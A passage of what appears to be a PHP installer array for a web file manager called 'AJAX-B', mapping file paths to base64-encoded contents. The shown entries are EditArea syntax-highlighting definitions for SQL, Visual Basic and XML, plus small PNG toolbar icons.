ZBVUxUJywgJ1VOSU9OJywgJ0RFTEVURScsICdPRicsICdVTklRVUUnLA0KCQkgICAgJ0RFTlknLCAnT0ZGJywgJ1VQREFURScsICdERVNDJywgJ09GRlNFVFMnLCAnVVBEQVRFVEVYVCcsICdESVNLJywgJ09OJywgJ1VTRScsICdESVNUSU5DVCcsICdPUEVOJywNCgkJICAgICdESVNUUklCVVRFRCcsICdPUEVOREFUQVNPVVJDRScsICdWQUxVRVMnLCAnRE9VQkxFJywgJ09QRU5RVUVSWScsICdWQVJZSU5HJywgJ0RST1AnLCANCgkJICAgICdPUEVOUk9XU0VUJywgJ1ZJRVcnLCAnRFVNTVknLCAnT1BFTlhNTCcsICdXQUlURk9SJywgJ0RVTVAnLCAnT1BUSU9OJywgJ1dIRU4nLCAnRUxTRScsICdXSEVSRScsDQoJCSAgICAnRU5EJywgJ09SREVSJywgJ1dISUxFJywgJ0VSUkxWTCcsICdXSVRIJywgJ0VTQ0FQRScsICdPVkVSJywgJ1dSSVRFVEVYVCcNCgkJXSwNCgkJJ2Z1bmN0aW9ucyc6IFsNCgkJICAgICdDT0FMRVNDRScsICdTRVNTSU9OX1VTRVInLCAnQ09OVkVSVCcsICdTWVNURU1fVVNFUicsICdDVVJSRU5UX1RJTUVTVEFNUCcsICdDVVJSRU5UX1VTRVInLCAnTlVMTElGJywgJ1VTRVInLA0KCQkJJ0FWRycsICdNSU4nLCAnQ0hFQ0tTVU0nLCAnU1VNJywgJ0NIRUNLU1VNX0FHRycsICdTVERFVicsICdDT1VOVCcsICdTVERFVlAnLCAnQ09VTlRfQklHJywgJ1ZBUicsICdHUk9VUElORycsICdWQVJQJywgJ01BWCcsDQoJCQknQEBEQVRFRklSU1QnLCAnQEBPUFRJT05TJywgJ0BAREJUUycsICdAQFJFTVNFUlZFUicsICdAQExBTkdJRCcsICdAQFNFUlZFUk5BTUUnLCAnQEBMQU5HVUFHRScsICdAQFNFUlZJQ0VOQU1FJywgJ0BATE9DS19USU1FT1VUJywNCgkJCSdAQFNQSUQnLCAnQEBNQVhfQ09OTkVDVElPTlMnLCAnQEBURVhUU0laRScsICdAQE1BWF9QUkVDSVNJT04nLCAnQEBWRVJTSU9OJywgJ0BATkVTVExFVkVMJywNCgkJCSdAQENVUlNPUl9ST1dTJywgJ0NVUlNPUl9TVEFUVVMnLCAnQEBGRVRDSF9TVEFUVVMnLA0KCQkJJ0RBVEVBREQnLCAnREFURURJRkYnLCAnREFURU5BTUUnLCAnREFURVBBUlQnLCAnREFZJywgJ0dFVERBVEUnLCAnR0VUVVRDREFURScsICdNT05USCcsICdZRUFSJywNCgkJCSdBQlMnLCAnREVHUkVFUycsICdSQU5EJywgJ0FDT1MnLCAnRVhQJywgJ1JPVU5EJywgJ0FTSU4nLCAnRkxPT1InLCAnU0lHTicsICdBVEFOJywgJ0xPRycsICdTSU4nLCAnQVROMicsICdMT0cxMCcsICdTUVJUJywNCgkJCSdDRUlMSU5HJywgJ1BJICcsICdTUVVBUkUnLCAnQ09TJywgJ1BPV0VSJywgJ1RBTicsICdDT1QnLCAnUkFESUFOUycsDQoJCQknQEBQUk9DSUQnLCAnQ09MX0xFTkdUSCcsICdGVUxMVEVYVENBVEFMT0dQUk9QRVJUWScsICdDT0xfTkFNRScsICdGVUxMVEVYVFNFUlZJQ0VQUk9QRVJUWScsICdDT0xVTU5QUk9QRVJUWScsICdJTkRFWF9DT0wnLA0KCQkJJ0RBVEFCQVNFUFJPUEVSVFknLCAnSU5ERVhLRVlfUFJPUEVSVFknLCAnREFUQUJBU0VQUk9QRVJUWUVYJywgJ0lOREVYUFJPUEVSVFknLCAnREJfSUQnLCAnT0JKRUNUX0lEJywgJ0RCX05BTUUnLCAnT0JKRUNUX05BTUUnLA0KCQkJJ0ZJTEVfSUQnLCAnT0JKRUNUUFJPUEVSVFknLCAnT0JKRUNUUFJPUEVSVFlFWCcsICdGSUxFX05BTUUnLCAnU1FMX1ZBUklBTlRfUFJPUEVSVFknLCAnRklMRUdST1VQX0lEJywgJ0ZJTEVHUk9VUF9OQU1FJywNCgkJCSdGSUxFR1JPVVBQUk9QRVJUWScsICdUWVBFUFJPUEVSVFknLCAnRklMRVBST1BFUlRZJywNCgkJCSdDVVJSRU5UX1VTRVInLCAnU1VTRVJfSUQnLCAnU1VTRVJfU0lEJywgJ0lTX01FTUJFUicsICdTVVNFUl9TTkFNRScsICdJU19TUlZST0xFTUVNQkVSJywgJ1BFUk1JU1NJT05TJywgJ1NZU1RFTV9VU0VSJywNCgkJCSdTVVNFUl9OQU1FJywgJ1VTRVJfSUQnLCAnU0VTU0lPTl9VU0VSJywgJ1VTRVJfTkFNRScsICdBU0NJSScsICdTT1VOREVYJywgJ1BBVElOREVYJywgJ1NQQUNFJywgJ0NIQVJJTkRFWCcsICdRVU9URU5BTUUnLA0KCQkJJ1NUUicsICdESUZGRVJFTkNFJywgJ1JFUExBQ0UnLCAnU1RVRkYnLCAnUkVQTElDQVRFJywgJ1NVQlNUUklORycsICdMRU4nLCAnUkVWRVJTRScsICdVTklDT0RFJywgJ0xPV0VSJywNCgkJCSdVUFBFUicsICdMVFJJTScsICdSVFJJTScsICdBUFBfTkFNRScsICdDQVNUJywgJ0NPTlZFUlQnLCAnQ09BTEVTQ0UnLCAnQ09MTEFUSU9OUFJPUEVSVFknLCAnQ09MVU1OU19VUERBVEVEJywgJ0NVUlJFTlRfVElNRVNUQU1QJywNCgkJCSdDVVJSRU5UX1VTRVInLCAnREFUQUxFTkdUSCcsICdAQEVSUk9SJywgJ0ZPUk1BVE1FU1NBR0UnLCAnR0VUQU5TSU5VTEwnLCAnSE9TVF9JRCcsICdIT1NUX05BTUUnLCAnSURFTlRfQ1VSUkVOVCcsICdJREVOVF9JTkNSJywNCgkJCSdJREVOVF9TRUVEJywgJ0BASURFTlRJVFknLCAnSVNEQVRFJywgJ0lTTlVMTCcsICdJU05VTUVSSUMnLCAnTkVXSUQnLCAnTlVMTElGJywgJ1BBUlNFTkFNRScsICdAQFJPV0NPVU5UJywNCgkJCSdTQ09QRV9JREVOVElUWScsICdTRVJWRVJQUk9QRVJUWScsICdTRVNTSU9OUFJPUEVSVFknLCAnU0VTU0lPTl9VU0VSJywgJ1NUQVRTX0RBVEUnLCAnU1lTVEVNX1VTRVInLCAnQEBUUkFOQ09VTlQnLCAnVVNFUl9OQU1FJywNCgkJCSdAQENPTk5FQ1RJT05TJywgJ0BAUEFDS19SRUNFSVZFRCcsICdAQENQVV9CVVNZJywgJ0BAUEFDS19TRU5UJywgJ0BAVElNRVRJQ0tTJywgJ0BASURMRScsICdAQFRPVEFMX0VSUk9SUycsICdAQElPX0JVU1knLCAnQEBUT1RBTF9SRUFEJywNCgkJCSdAQFBBQ0tFVF9FUlJPUlMnLCAnQEBUT1RBTF9XUklURScsICdQQVRJTkRFWCcsICdURVhUVkFMSUQnLCAnVEVYVFBUUicNCgkJXSwNCgkJJ3Jlc2VydmVkJzogWw0KCQkJJ1JJR0hUJywgJ0lOTkVSJywgJ0lTJywgJ0pPSU4nLCAnQ1JPU1MnLCAnTEVGVCcsICdOVUxMJywgJ09VVEVSJw0KCQldDQoJfQ0KCSwnT1BFUkFUT1JTJyA6Ww0KCQknKycsICctJywgJyonLCAnLycsICclJywgJz0nLCAnJicgLCd8JywgJ14nLCAnPicsICc8JywgJz49JywgJzw9JywgJzw+JywgJyE9JywgJyE8JywgJyE+JywgJ0FMTCcsICdBTkQnLCAnQU5ZJywgJ0JFVFdFRU4nLCAnRVhJU1RTJywgJ0lOJywgJ0xJS0UnLCAnTk9UJywgJ09SJywgJ34nDQoJXQ0KCSwnREVMSU1JVEVSUycgOlsNCgkJJygnLCAnKScsICdbJywgJ10nLCAneycsICd9Jw0KCV0NCgksJ1JFR0VYUFMnIDogew0KCQkvLyBoaWdobGlnaHQgYWxsIHZhcmlhYmxlcyAoQC4uLikNCgkJJ3ZhcmlhYmxlcycgOiB7DQoJCQknc2VhcmNoJyA6ICcoKShcXEBcXHcrKSgpJw0KCQkJLCdjbGFzcycgOiAndmFyaWFibGVzJw0KCQkJLCdtb2RpZmllcnMnIDogJ2cnDQoJCQksJ2V4ZWN1dGUnIDogJ2JlZm9yZScgLy8gYmVmb3JlIG9yIGFmdGVyDQoJCX0NCgl9DQoJLCdTVFlMRVMnIDogew0KCQknQ09NTUVOVFMnOiAnY29sb3I6ICMwMDgwMDA7Jw0KCQksJ1FVT1RFU01BUktTJzogJ2NvbG9yOiAjRkYwMDAwOycNCgkJLCdLRVlXT1JEUycgOiB7DQoJCQkncmVzZXJ2ZWQnIDogJ2NvbG9yOiAjODA4MDgwOycNCgkJCSwnZnVuY3Rpb25zJyA6ICdjb2xvcjogI0ZGMDBGRjsnDQoJCQksJ3N0YXRlbWVudHMnIDogJ2NvbG9yOiAjMDAwMEZGOycNCgkJCX0NCgkJLCdPUEVSQVRPUlMnIDogJ2NvbG9yOiAjODA4MDgwOycNCgkJLCdERUxJTUlURVJTJyA6ICdjb2xvcjogI0ZGODAwMDsnDQoJCSwnUkVHRVhQUycgOiB7DQoJCQkndmFyaWFibGVzJyA6ICdjb2xvcjogI0UwQkQ1NDsnDQoJCX0JCQ0KCX0NCn07DQoNCiAJICAJIA0K',
  './AJAX-B/edit_area/reg_syntax/vb.js' => 'ZWRpdEFyZWFMb2FkZXIubG9hZF9zeW50YXhbInZiIl0gPSB7DQoJJ0NPTU1FTlRfU0lOR0xFJyA6IHsxIDogIicifQ0KCSwnQ09NTUVOVF9NVUxUSScgOiB7IH0NCgksJ1FVT1RFTUFSS1MnIDogezE6ICciJ30NCgksJ0tFWVdPUkRfQ0FTRV9TRU5TSVRJVkUnIDogZmFsc2UNCgksJ0tFWVdPUkRTJyA6IHsNCgkJJ3N0YXRlbWVudHMnIDogWw0KCSAgICAgICAgJ2lmJywndGhlbicsJ2ZvcicsJ2VhY2gnLCd3aGlsZScsJ2RvJywnbG9vcCcsDQogICAgICAgICAgICAnZWxzZScsJ2Vsc2VpZicsJ3NlbGVjdCcsJ2Nhc2UnLCdlbmQgc2VsZWN0JywNCiAgICAgICAgICAgICd1bnRpbCcsJ25leHQnLCdzdGVwJywndG8nLCdpbicsJ2VuZCBpZicNCgkJXQ0KCQksJ2tleXdvcmRzJyA6IFsNCiAgICAgICAgICAgICdlbXB0eScsJ2lzZW1wdHknLCdub3RoaW5nJywnbnVsbCcsJ2lzbnVsbCcsJ3RydWUnLCdmYWxzZScsDQogICAgICAgICAgICAnc2V0JywnY2FsbCcsDQogICAgICAgICAgICAnc3ViJywnZW5kIHN1YicsJ2Z1bmN0aW9uJywnZW5kIGZ1bmN0aW9uJywnZXhpdCcsJ2V4aXQgZnVuY3Rpb24nLA0KICAgICAgICAgICAgJ2RpbScsJ01vZCcsJ0luJywncHJpdmF0ZScsJ3B1YmxpYycsJ3NoYXJlZCcsJ2NvbnN0Jw0KICAgICAgICBdDQoNCgkJLCdmdW5jdGlvbnMnIDogWw0KCQkJJ0NEYXRlJywnRGF0ZScsJ0RhdGVBZGQnLCdEYXRlRGlmZicsJ0RhdGVQYXJ0JywnRGF0ZVNlcmlhbCcsJ0RhdGVWYWx1ZScsJ0RheScsJ0Zvcm1hdERhdGVUaW1lJywNCiAgICAgICAgICAgICdIb3VyJywnSXNEYXRlJywnTWludXRlJywnTW9udGgnLA0KICAgICAgICAgICAgJ01vbnRoTmFtZScsJ05vdycsJ1NlY29uZCcsJ1RpbWUnLCdUaW1lcicsJ1RpbWVTZXJpYWwnLCdUaW1lVmFsdWUnLCdXZWVrZGF5JywnV2Vla2RheU5hbWUgJywnWWVhcicsDQogICAgICAgICAgICAnQXNjJywnQ0Jvb2wnLCdDQnl0ZScsJ0NDdXInLCdDRGF0ZScsJ0NEYmwnLCdDaHInLCdDSW50JywnQ0xuZycsJ0NTbmcnLCdDU3RyJywnSGV4JywnT2N0JywnRm9ybWF0Q3VycmVuY3knLA0KICAgICAgICAgICAgJ0Zvcm1hdERhdGVUaW1lJywnRm9ybWF0TnVtYmVyJywnRm9ybWF0UGVyY2VudCcsJ0FicycsJ0F0bicsJ0NvcycsJ0V4cCcsJ0hleCcsJ0ludCcsJ0ZpeCcsJ0xvZycsJ09jdCcsDQogICAgICAgICAgICAnUm5kJywnU2duJywnU2luJywnU3FyJywnVGFuJywNCiAgICAgICAgICAgICdBcnJheScsJ0ZpbHRlcicsJ0lzQXJyYXknLCdKb2luJywnTEJvdW5kJywnU3BsaXQnLCdVQm91bmQnLA0KICAgICAgICAgICAgJ0luU3RyJywnSW5TdHJSZXYnLCdMQ2FzZScsJ0xlZnQnLCdMZW4nLCdMVHJpbScsJ1JUcmltJywnVHJpbScsJ01pZCcsJ1JlcGxhY2UnLCdSaWdodCcsJ1NwYWNlJywnU3RyQ29tcCcsDQogICAgICAgICAgICAnU3RyaW5nJywnU3RyUmV2ZXJzZScsJ1VDYXNlJywNCiAgICAgICAgICAgICdDcmVhdGVPYmplY3QnLCdFdmFsJywnR2V0TG9jYWxlJywnR2V0T2JqZWN0JywnR2V0UmVmJywnSW5wdXRCb3gnLCdJc0VtcHR5JywnSXNOdWxsJywnSXNOdW1lcmljJywNCiAgICAgICAgICAgICdJc09iamVjdCcsJ0xvYWRQaWN0dXJlJywnTXNnQm94JywnUkdCJywnUm91bmQnLCdTY3JpcHRFbmdpbmUnLCdTY3JpcHRFbmdpbmVCdWlsZFZlcnNpb24nLCdTY3JpcHRFbmdpbmVNYWpvclZlcnNpb24nLA0KICAgICAgICAgICAgJ1NjcmlwdEVuZ2luZU1pbm9yVmVyc2lvbicsJ1NldExvY2FsZScsJ1R5cGVOYW1lJywnVmFyVHlwZScNCgkJXQ0KCX0NCgksJ09QRVJBVE9SUycgOlsNCgkJJysnLCAnLScsICcvJywgJyonLCAnPScsICc8JywgJz4nLCAnIScsICcmJw0KCV0NCgksJ0RFTElNSVRFUlMnIDpbDQoJCScoJywgJyknLCAnWycsICddJywgJ3snLCAnfScNCgldDQoJLCdTVFlMRVMnIDogew0KCQknQ09NTUVOVFMnOiAnY29sb3I6ICM5OUNDMDA7Jw0KCQksJ1FVT1RFU01BUktTJzogJ2NvbG9yOiAjMzMzMzk5OycNCgkJLCdLRVlXT1JEUycgOiB7DQoJCQkna2V5d29yZHMnIDogJ2NvbG9yOiAjMzM2NkZGOycNCgkJCSwnZnVuY3Rpb25zJyA6ICdjb2xvcjogIzAwMDBGRjsnDQoJCQksJ3N0YXRlbWVudHMnIDogJ2NvbG9yOiAjMzM2NkZGOycNCgkJCX0NCgkJLCdPUEVSQVRPUlMnIDogJ2NvbG9yOiAjRkYwMDAwOycNCgkJLCdERUxJTUlURVJTJyA6ICdjb2xvcjogIzAwMDBGRjsnDQoNCgl9DQp9Ow0K',
  './AJAX-B/edit_area/reg_syntax/xml.js' => 'LyoNCiogbGFzdCB1cGRhdGU6IDIwMDYtMDgtMjQNCiovDQoNCmVkaXRBcmVhTG9hZGVyLmxvYWRfc3ludGF4WyJ4bWwiXSA9IHsNCgknQ09NTUVOVF9TSU5HTEUnIDoge30NCgksJ0NPTU1FTlRfTVVMVEknIDogeyc8IS0tJyA6ICctLT4nfQ0KCSwnUVVPVEVNQVJLUycgOiB7MTogIiciLCAyOiAnIid9DQoJLCdLRVlXT1JEX0NBU0VfU0VOU0lUSVZFJyA6IGZhbHNlDQoJLCdLRVlXT1JEUycgOiB7DQoJfQ0KCSwnT1BFUkFUT1JTJyA6Ww0KCV0NCgksJ0RFTElNSVRFUlMnIDpbDQoJXQ0KCSwnUkVHRVhQUycgOiB7DQoJCSd4bWwnIDogew0KCQkJJ3NlYXJjaCcgOiAnKCkoPFxcP1tePl0qP1xcPz4pKCknDQoJCQksJ2NsYXNzJyA6ICd4bWwnDQoJCQksJ21vZGlmaWVycycgOiAnZycNCgkJCSwnZXhlY3V0ZScgOiAnYmVmb3JlJyAvLyBiZWZvcmUgb3IgYWZ0ZXINCgkJfQ0KCQksJ2NkYXRhcycgOiB7DQoJCQknc2VhcmNoJyA6ICcoKSg8IVxcW0NEQVRBXFxbLio/XFxdXFxdPikoKScNCgkJCSwnY2xhc3MnIDogJ2NkYXRhJw0KCQkJLCdtb2RpZmllcnMnIDogJ2cnDQoJCQksJ2V4ZWN1dGUnIDogJ2JlZm9yZScgLy8gYmVmb3JlIG9yIGFmdGVyDQoJCX0NCgkJLCd0YWdzJyA6IHsNCgkJCSdzZWFyY2gnIDogJyg8KSgvP1thLXpdW14gXHJcblx0Pl0qKShbXj5dKj4pJw0KCQkJLCdjbGFzcycgOiAndGFncycNCgkJCSwnbW9kaWZpZXJzJyA6ICdnaScNCgkJCSwnZXhlY3V0ZScgOiAnYmVmb3JlJyAvLyBiZWZvcmUgb3IgYWZ0ZXINCgkJfQ0KCQksJ2F0dHJpYnV0ZXMnIDogew0KCQkJJ3NlYXJjaCcgOiAnKCB8XG58XHJ8XHQpKFteIFxyXG5cdD1dKykoPSknDQoJCQksJ2NsYXNzJyA6ICdhdHRyaWJ1dGVzJw0KCQkJLCdtb2RpZmllcnMnIDogJ2cnDQoJCQksJ2V4ZWN1dGUnIDogJ2JlZm9yZScgLy8gYmVmb3JlIG9yIGFmdGVyDQoJCX0NCgl9DQoJLCdTVFlMRVMnIDogew0KCQknQ09NTUVOVFMnOiAnY29sb3I6ICNBQUFBQUE7Jw0KCQksJ1FVT1RFU01BUktTJzogJ2NvbG9yOiAjNjM4MUY4OycNCgkJLCdLRVlXT1JEUycgOiB7DQoJCQl9DQoJCSwnT1BFUkFUT1JTJyA6ICdjb2xvcjogI0U3NzVGMDsnDQoJCSwnREVMSU1JVEVSUycgOiAnJw0KCQksJ1JFR0VYUFMnIDogew0KCQkJJ2F0dHJpYnV0ZXMnOiAnY29sb3I6ICNCMUFDNDE7Jw0KCQkJLCd0YWdzJzogJ2NvbG9yOiAjRTYyMjUzOycNCgkJCSwneG1sJzogJ2NvbG9yOiAjOERDRkI1OycNCgkJCSwnY2RhdGEnOiAnY29sb3I6ICM1MEIwMjA7Jw0KCQl9CQ0KCX0JCQ0KfTsNCg==',
  './AJAX-B/icones/APropos.png' => 'iVBORw0KGgoAAAANSUhEUgAAAA0AAAAOCAYAAAD0f5bSAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gcBCxkN68vUowAAAqJJREFUKM810s9Lk3EAx/HP9/m5PZuPmz46lz9SoaWZC7OE0qCyhCC7ZEF1DW+G0KkuBV4Kq1PRHyARRFBQQiIdghyLaKSVTKPp9Jlt+rjptmfP9vzsku/z6/gm+N+HiVu9+o4yoqu7N11Ngc2m1tw4NHUjK/OK2DWcO3Z1VN+zBAAS36Lk1/up+wK1fLeuy8pKzX7CckHB1Gsy2q4Wy6+tz8rrta8v3nuWBQASmZmG+89MjxiIPaw9WBz0NB6haO8pEPoA9IILZkmHrq4ocvT5lJI58fjM7ScperSXa/FL0UfB0NKQ7Xhoy+4GzYgwywTKwiIysTgajg8JXmknrG9F6EtHT3+lxy7wlxuaE+Oc6GNSC50wCn/hODJoRgMnMiiuyxBbfODdG5xtlMN6mf/BsJR9w+vR2FKhDVLIDTG4AdAp0O4ywDSjbZBHRXkLTd2A6OOrHKtynoGhn9xZcbAWXwMvrYLrV+FpoEC0NNTcAtLzLDiXiYbDIgipBnHcZxlDA+uvd0Pq64FmSsgmgfTvXaiyDGe5ERLjB+n4BKptBXalCnrR72UMQ1yy8jhEmzTcNS1oDLYA3D5o6TjkiZeQFjZRiFjIuBwINbuolKklpqhSL7YT9kSwPkaBA2AWADMPVhDgqivC2qpALKiIz3Pg9gtOqex6R48M9OcqBXvA66QCLjFDCFUB7AqIpUPfkmHkapHx6bCaLDtZDv8s+bon6fEHT7NKKp/JrqohrrgdYI00ocoKkNuEtZ1EWt2CVk+cVT30XRHDd6rC/V8IAHyemeZTs6/6PKWVsWp++5xAsj7WMYhm8Hbe9GfzbHs072uf9B7qi1y5dt0kexNG5uZI8uObAKernZZjdmjFPM8JVZplkUWmOZTwtHakhoeHAQD/ACVIN9DW5/A9AAAAAElFTkSuQmCC',
  './AJAX-B/icones/Account.png' => 'iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gcUEyYp+uRPKwAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJTVDvZCVuAAACjElEQVQoz3XSyWsTUQDH8d9782YymWSSSZPUZBLJ4la6QbFiDy2CIHopVC9SD969KAiC4EGoevEiIi1YxFtdoOrVg6IIllra0lat2EhT25rVpGmWZplJnv+A/d6/tw/BPg3fmxF6I22Xu0OOMUViwZ1yvTC/lrlJavknj66dabL9RkGSRzsi7RNel0UmAGx2m2ZQ+cH7L9VdAC8YAEzdHgm4DwTuS0rbKDjSyd+x8ecg57bLXN41DQgUMFtAoUqtFaJcmZmdm2YvJ+54bHsr04f7BgcEyQqA+1SHONa9+CpTNK+DUQpRIKi3WiiagF0RtVKpILLcyuvTSsgzEF94A845itk82t06Oel2GpsuBp/bAotEsVdrQiBAeT07f+RQuEZdUt0sbC4h8e0T6lsxnOrtwlBPGEeVHcuvWDKuqwRdHgZdZfgTT2yo9eRYNBrlLG/t/jzQY8lFIlG3Q7VBIAAIQd7ir0QD7lAqUcNvswpFJAj6vfr3UudZAJMEABae3bjV0dN3V3F4AADZ7XVzfDVY9nQOabJEAQCcc1QbLfzcLG3YK9uDDABWcZHTigR7JYWm2UKOD7Woz6XVCAElBJQCzRZBDRwOTQnVDeeI8HjybTAQ7pxyB8LyWkJGoemDHooKfK8K5pLh0SRodgarJEAQCAghpNkwwVQtcMHpcjlLZSC2loUoMnh9fuguJzKVNHzBg5AEgqrBYWWAhXOUk4bJdF07rzkoOOfIpnKwKhIcdgCwYGPpbzbLkJdFJlVNk+SL9fVMuvCxmd56ymxWXtZUE5QK0P02SBKDW+MwDQMOkb8b7g9d+h9J9nV5/mp8Xf3h9WjHT/Q7tUajdmxxbvZDKpVdjsfjD/ez/A8jlP5k6+qNkQAAAABJRU5ErkJggg==',
  './AJAX-B/icones/CloseX.png' => 'iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gcBCzAA0Tw39QAAAqNJREFUKM9d0VtIUwEYB/DvnONxc7rtHHfRJJYRBtFDppKKlEup5R40L3hjWViiPWhFmpZg9WJCgk+BvXiJigQTctSWka2kKInJlkxbW+jcpi3dzvTs4nY2e8jZ8v/8/R7+/w+hlQMoY9a3B+am2wL7sxThHLlKIj2zBVGhJtU8anRoMOByZQUPZZ463NVtRBmzvh31rHWTJRdJ3G58wnxUyaORR6/lOh/393PXFspSMJ8Epqde67s6DqIBo7Yz7qgUsFgOCE7ICZZ5Zth4q6lgGyUs93T08b2OalKcBBwcB2J1KdVnWbyJWHuvF+MLuocCaXEyCiiEXb/B9la9yuSdvb01PZVLMu4aUijEgKaBsthhXnDAyZTWlCEWjRoJqp7msZ1WVdKx4wloOAwh5xrYpj6EeAQfJQRCBGgaqKVlmONJ7EzVhXOsfanvkEgXY+flQpZJ+ywlPVOIhRgAjweApiGCDOzk70xdY620skoLAIBED2HuvaPA3owMSDIy8AjyrjhAx/DcwaZrMml5xZfILRq1Hh81Gaq4iYkxEQQbNLCCQSDsFpT7Yuy/F6ER5Hhwb4i3bpOTwr+dvCsOCFFuwDx+SGO8XM7Eq5GvtdXZEYhQE8p41/PhRzy3vZQUif4NgZBu4peVlbZJs2PWfcC4/GBGY420tKCabGmZwRrjQ6M8ylpCisU7yMASzwUUDflsvujTum72NLHqjovxh4EIMgLaZpN5UVSP+uZngYXjyM6fEvYuBhUNlQWKup9Heu6PBWrOXzLxBG5muxcOkEpjWDl8u9GcZDiZrrHlpG59LszWaIYG02FXdK2t5QaRyP2DwwlP1te/fD8+LkYAAHRtV/ZsOlbafVm5ffnNVxd3Q5NajdBKpWzD75eFioruSisqqD82UkPohJdi/gAAAABJRU5ErkJggg==',
  './AJAX-B/icones/Copy.png' => 'iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAABj0lEQVQokW2Sv4viQBTHv/NDcoYgcsEmYGlpsc1WbrfFin36lPcvCP4Jcn/BNdfZHVxte9e4FovFVmIwIKiVQ4Q4M5krvBmS7D54xbzhO5/ve/OwWCx+n89ncTqdxPF4FIfDQWRZJtI0FdvtVkyn0x+oBwUA3m63/TAMA2MMjDHQWkNrDaUUtNbwPC9oCEsA4ABgjLlXytJl9RFLqWGtyBKrYiklCCFNDQCAN2lWLKUEpRTj8fh5NBr9tfer1ep9NpslvCgK5HkOQkiNxhgDAERR9LXX6z1a20KIL67HsiydBUIIKKW4XC4AgOv1WmtBKXW3SggB57zmX2uNVqsFKSW63a5rodoztYRqMsaQZRk8z0On03EkY4wTkn6/P/J9P7K0JEmSOI5fgiCA7/vuS+wQl8vlWxzHD3y/3/+p2iyK4ikMQ2cZABhjEEJAa408z+GG0ww70dqHUwql1G0+n38HPtkIQggYY7XknCNN09tkMvm22Wx+AsCHtRgOhy+DweCpWV+v16+73e7X/2P5D9sW/goUevtbAAAAAElFTkSuQmCC',
  './AJAX-B/icones/Cut.png' => 'iVBORw0KGgoAAAANSUhEUgAAABIAAAATCAYAAACdkl3yAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1wcBCzUQeqAAcQAAA7NJREFUOMuNkl9oW3UUx7/35ia3zU3Su7S5aZKbdVkW+4fSru1q0Yp/kNnS4kvZmw+CDMQHGVZEmQhTJ/gHhhN9cHtRqAizjKIMQUbX2a7WzaVltNb+yULpuiRt8/fe3/2T5Ob6MFrcUOJ5Ped8OJ9zDoUqIcsKnUymP9Y0/S2gQgSBf14QhN8fraOrgaLRFY+iaK/4fB5IksTpuj6yl5uenm+MRpd7CoWCsyook8kzDMPU0zQFXS/CNE0AwJUrMxzL2iYYxjIjy/IoXV1NhaKoIERDsVgCAIyN/SyyrO16W1uoj6JQo2namaqgQoFAklQQokLXS1CU4oDb7bra1hbq0TQdqdQ2KIrKVwVJkgJCFBCiIp8nWFhY7zx8ONBcLhuYnr6N2lqLYbVaz/2PiWRIkoJ0Oo+trSwikUMgRMHk5By8Xg4+n/esKIofMI82ZuNzftM0O2CaK+7wk3FCNCQSu0ilMujubkEmk0csFkdrq2j4fI2nGYb5HACoPcDO+s1wYXNmtEym+up8Qo+2u7tksv0/VPg+1/fjv40GI+1wOu2IxeLo7Y0Ug0H/p+Fw+L29fgoAEitz3Zn1yz82NP4aqBMe2NpcNBJRFlKWw10MIacexMryMo4PPoFAwPdmKBQ6908TBgB2Vq9eEPjJgLptx8bWANgaBwTbBAQxC08gCy4xhnTShnDXUdRRm7/YFen2v352cfdaD62WES8MwRUZWXOIT50mchOovArtvgZKltByTEYocBNe7uIL2r1vL8emL7yby+XcD4HsehxaxgTjCqG+oeE1aW2qQmcWkN8oYXG1GRabCZYugXcS1Jhp+IJ/ukvJibNybuczWZat+zu68VGr2SFmMJ+IwGL35vnyEsdzhFmmXoTrsQH4c+/AdcCKtWQ/KL4DDfo4nFwKcePtkqf12a5gMLj0QM03kkyk7GizLeJIaaqOMirMUnkYfOdLkouzvW8QA4n7B1ASho36lqEvdLZ/i9Z1KDsrVovFMrKv5mkfOL7d+uHGPP8GovwpJJvPIPjc6/D6D57cnDx/sVxyoKwYYGvs+aamplNGiVYrUhGqXgaA4f2rtT/+9GI6ne4yTfPVSqXSbLFY/tI07TzLsrrzyKCfFGbRULyBxVvfcbPjX86qq9+Eid2A6Q6Boqg7Dz3kf0Vs/rpt49ZPXx2SLp100RIqFAuGKiIqd6J+8BN4vP5eURT/YKqBwl3PFO/Flr9en2JP0GuX+NpKDqnaY7AdfRn1nsZrDofjLgD8DS/FqFCW+crYAAAAAElFTkSuQmCC',
  './AJAX-B/icones/DirMoin.png' => 'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1ggMDScUutJUoAAAAHtJREFUOMvNVEEOgCAMo4ZveeEx45XsoA+rF0NIhInIgSW9UNg6VgBJNyM2i4wxdleBpQiA61VsKhKRMUV66uvBsAfU1n1lYzOJnjrW2rSp/U4E4IHSEgCyNbJFSGakI9GKm3c1rHdH/suIzWj1TNKJCC2+xOJvbYn/6AJkO6AFsSkRUgAAAABJRU5ErkJggg==',
  './AJAX-B/icones/DirPlus.png' => 'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1ggMDSYd2hXdRQAAAIVJREFUOMvNVEkOgCAMZAzf8sJjyivhIA+rB6VyYBcTJ5mEMECnaQuYWa3AVhOttd1RUHMEQPU6rjoiojlHPvjmRbMb5PZ15mDxER/8XGoA1lTtdfkBiJt0HVsCgLSGtAgzC93hOMUlP7h1leO3qUWMjI8eKbFqRS2RiLimp/z5rP3iPzoBsYmgBRcozNkAAAAASUVORK5CYII=',
